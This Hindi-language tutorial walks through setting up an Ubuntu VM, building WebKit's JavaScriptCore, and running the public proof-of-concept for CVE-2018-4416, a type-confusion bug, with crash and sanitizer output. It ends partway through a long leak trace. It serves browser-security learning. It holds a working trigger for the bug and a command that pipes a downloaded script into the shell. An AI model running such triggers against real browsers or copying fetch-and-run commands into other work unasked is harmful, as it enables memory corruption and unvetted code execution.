
# CVE-2018-4416 का शैक्षिक वॉकथ्रू WebKit JavaScriptCore टाइप कन्फ्यूज़न भेद्यता का शैक्षिक वॉकथ्रू, जिसमें PoC, डिबगिंग सेटअप, और सामान्य ब्राउज़र बाइनरी एक्सप्लॉइटेशन तकनीकों का विश्लेषण शामिल है।
मैंने एक अपेक्षाकृत आसान विकल्प चुना: /WebKit/। (ChakraCore शायद आसान होता, lol। लेकिन माइक्रोसॉफ्ट द्वारा प्रोजेक्ट रद्द करने की अफवाह है। इसलिए मैंने इसे न चुनने का फैसला किया)।
मैं /WebKit/ सुरक्षा का अध्ययन करते हुए अपने नोट्स रिकॉर्ड करने के लिए पोस्टों की एक श्रृंखला लिखूंगा। ब्राउज़र सुरक्षा सीखने का यह मेरा पहला मौका भी है, मेरी पोस्टों में शायद बहुत सारी गलतियाँ होंगी। यदि आप उन्हें देखते हैं, तो सुधार के लिए मुझसे संपर्क करने में संकोच न करें।
इसे पढ़ने से पहले, आपको जानना होगा: - C++ व्याकरण - असेंबली भाषा व्याकरण - वर्चुअल मशीन की स्थापना - Ubuntu और उसकी कमांड लाइन से परिचित होना - बुनियादी कंपाइल सिद्धांत अवधारणाएँ
** वर्चुअल मशीन :PROPERTIES: :CUSTOM_ID: virtual-machine :END: पहले, हमें अपने परीक्षण लक्ष्य के रूप में एक VM स्थापित करना होगा। यहाँ, मैं /Ubuntu 18.04 LTS/ और /Ubuntu 16.04 LTS/ को अपने लक्ष्य होस्ट के रूप में चुनता हूँ। आप [[https://www.ubuntu.com/][यहाँ]] से डाउनलोड कर सकते हैं। अगर मैं संस्करण निर्दिष्ट नहीं करता, तो कृपया डिफ़ॉल्ट संस्करण के रूप में 18.04 LTS का उपयोग करें।
Mac एक अधिक उपयुक्त विकल्प हो सकता है क्योंकि इसमें XCode और Safari हैं। MacOS के उच्च संसाधन खपत और अस्थिर अपडेट को ध्यान में रखते हुए, मैं Ubuntu का उपयोग करना पसंद करूंगा।
हमें एक VM सॉफ़्टवेयर चाहिए। मैं [[https://www.vmware.com/][VMWare]] का उपयोग करना पसंद करता हूँ। Parallel Desktop और VirtualBox (मुफ़्त) भी ठीक हैं, यह आपकी व्यक्तिगत आदत पर निर्भर करता है।
मैं आपको कदम दर कदम VMWare पर Ubuntu स्थापित करने का तरीका नहीं बताऊंगा। हालांकि, मुझे आपको यह याद दिलाना होगा कि जितना संभव हो उतनी मेमोरी और CPU आवंटित करें क्योंकि संकलन में भारी मात्रा में संसाधनों की खपत होती है। स्रोत कोड और संकलित फ़ाइलों को संग्रहीत करने के लिए 80GB डिस्क पर्याप्त होनी चाहिए।
** स्रोत कोड :PROPERTIES: :CUSTOM_ID: source-code :END: आप WebKit स्रोत कोड तीन तरीकों से डाउनलोड कर सकते हैं: [[https://github.com/WebKit/webkit][/git/]], /svn/, और [[https://webkit.org/getting-the-code/][/archive/]]।
WebKit का डिफ़ॉल्ट संस्करण प्रबंधक svn है। लेकिन मैं git चुनता हूँ (svn का उपयोग करने में बहुत अपरिचित):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** डीबगर और संपादक :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE बहुत सारे संसाधनों की खपत करता है, इसलिए मैं स्रोत कोड संपादित करने के लिए vim का उपयोग करता हूँ।
अधिकांश डिबग कार्य जो मैंने देखे हैं, वे lldb का उपयोग करते हैं जिससे मैं परिचित नहीं हूँ। इसलिए, मैं gef प्लगइन के साथ gdb भी स्थापित करता हूँ।
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** परीक्षण :PROPERTIES: :CUSTOM_ID: test :END: *** JavaScriptCore संकलित करना :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: पूर्ण WebKit को संकलित करने में बहुत समय लगता है। हम वर्तमान में केवल JSC (JavaScript Core) को संकलित करते हैं, जहाँ अधिकांश कमज़ोरियाँ आती हैं।
अब, आपको WebKit स्रोत कोड के रूट डायरेक्टरी में होना चाहिए। निर्भरताएँ तैयार करने के लिए यह चलाएँ:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
भले ही हम अभी पूर्ण WebKit संकलित नहीं कर रहे हैं, आप भविष्य के परीक्षण के लिए पहले शेष निर्भरताएँ स्थापित कर सकते हैं। JSC संकलित करने में यह कदम आवश्यक नहीं है यदि आप बहुत अधिक समय नहीं बिताना चाहते:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
उसके बाद, हम JSC संकलित कर सकते हैं:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
कुछ मिनट बाद, हम JSC को इस प्रकार चला सकते हैं:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
चलिए कुछ परीक्षण करते हैं:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** बग ट्रिगर करना :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS यहाँ #+end_quote
हम [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] का परीक्षण करने के लिए उपयोग करते हैं, यहाँ PoC है। इसे =jsc= के समान फ़ोल्डर में =poc.js= के रूप में संग्रहीत करें:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // ऑप्टिमाइजेशन शुरू कर रहे हैं। for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp" की स्ट्रक्चर ID JSPropertyNameEnumerator में संग्रहीत है।
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // "obj" की स्ट्रक्चर ID tmp के बराबर है।
return obj[k]; // टाइप कन्फ्यूजन।
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
पहले, कमज़ोर संस्करण पर स्विच करें:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote इसमें संकलन से भी अधिक समय लग सकता है #+end_quote
चलाएँ: =./jsc poc.js=, और हम प्राप्त कर सकते हैं:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
यदि हम इसे नवीनतम संस्करण पर चलाते हैं (=git checkout master= वापस स्विच करने के लिए, और बिल्ड सामग्री हटाएँ =rm -rf WebKitBuild/Relase/= और =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,